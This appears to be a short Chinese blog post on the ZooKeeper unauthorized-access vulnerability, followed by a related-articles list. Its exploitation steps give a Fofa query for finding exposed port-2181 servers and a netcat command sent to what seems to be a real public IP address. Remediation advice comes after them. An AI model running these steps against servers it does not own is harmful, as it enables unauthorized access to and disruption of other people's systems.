Zookeeper未授权访问漏洞

Zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

漏洞利用

步骤一:使用以下Fofa语法搜索资产信息....

复制代码
port="2181"

步骤二:在Kali中使用以下命令进行未授权访问漏洞测试..

复制代码
echo envi | nc 106.227.19.24 2181

步骤三:可使用Zookeeper可视化管理工具进行连接....

复制代码
#工具下载
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

漏洞修复

  1. 修改 ZooKeeper 默认端口,采用其他端口服务。
  2. 添加访问控制,配置服务来源地址限制策略。
  3. 增加 ZooKeeper 的认证配置。
相关推荐
牛肉胡辣汤4 小时前
【详解】K8S集群卸载清理
云原生·容器·kubernetes
天天进步20155 小时前
多线程与分布式:使用 Botasaurus 轻松构建大规模数据采集集群
分布式·爬虫
峰顶听歌的鲸鱼5 小时前
Kubernetes管理
运维·笔记·云原生·容器·kubernetes·云计算
川西胖墩墩9 小时前
复杂任务的分布式智能解决方案
人工智能·分布式
溜达的大象11 小时前
Navidrome 打造专属无损音乐库,加载cpolar局域网外访问也能超丝滑
阿里云·docker·云原生·eureka
无心水11 小时前
微服务架构下Dubbo线程池选择与配置指南:提升系统性能与稳定性
java·开发语言·微服务·云原生·架构·java-ee·dubbo
2501_9418053111 小时前
使用Python和Go构建高性能分布式任务调度系统的实践分享
分布式·python·golang
hi_link11 小时前
Docker 端口绑定 0.0.0.0,但 127.0.0.1 访问不到服务的问题总结
云原生·eureka
徐先生 @_@|||12 小时前
数据分析体系全览导图综述
大数据·hadoop·分布式·数据分析
深入技术了解原理12 小时前
引入eureka依赖但是无法注册:无法解析配置属性 ‘eureka.client.service-url.defaultZone‘
spring boot·spring cloud·云原生·eureka